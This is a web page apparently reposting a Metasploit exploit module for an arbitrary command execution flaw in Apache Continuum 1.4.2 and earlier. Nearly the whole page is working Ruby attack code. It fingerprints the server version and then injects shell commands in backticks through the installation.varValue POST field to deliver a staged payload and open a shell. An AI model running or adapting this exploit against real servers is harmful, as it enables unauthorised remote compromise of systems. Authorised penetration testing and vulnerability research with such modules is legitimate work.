Home / os / winmobile

Apache Continuum 1.4.2 Arbitrary Command Execution

Posted on 14 June 2016

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager

def initialize(info = {})
super(update_info(info,
'Name' => 'Apache Continuum Arbitrary Command Execution',
'Description' => %q{
This module exploits a command injection in Apache Continuum <= 1.4.2.
By injecting a command into the installation.varValue POST parameter to
/continuum/saveInstallation.action, a shell can be spawned.
},
'Author' => [
'David Shanahan', # Proof of concept
'wvu' # Metasploit module
],
'References' => [
%w{EDB 39886}
],
'DisclosureDate' => 'Apr 6 2016',
'License' => MSF_LICENSE,
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X86_64],
'Privileged' => false,
'Targets' => [
['Apache Continuum <= 1.4.2', {}]
],
'DefaultTarget' => 0
))

register_options([
Opt::RPORT(8080)
])
end

def check
res = send_request_cgi(
'method' => 'GET',
'uri' => '/continuum/about.action'
)

if res && res.body.include?('1.4.2')
CheckCode::Appears
elsif res && res.code == 200
CheckCode::Detected
else
CheckCode::Safe
end
end

def exploit
print_status('Injecting CmdStager payload...')
execute_cmdstager(flavor: :bourne)
end

def execute_command(cmd, opts = {})
send_request_cgi(
'method' => 'POST',
'uri' => '/continuum/saveInstallation.action',
'vars_post' => {
'installation.name' => Rex::Text.rand_text_alpha(8),
'installation.type' => 'jdk',
'installation.varValue' => '`' + cmd + '`'
}
)
end

end

 

TOP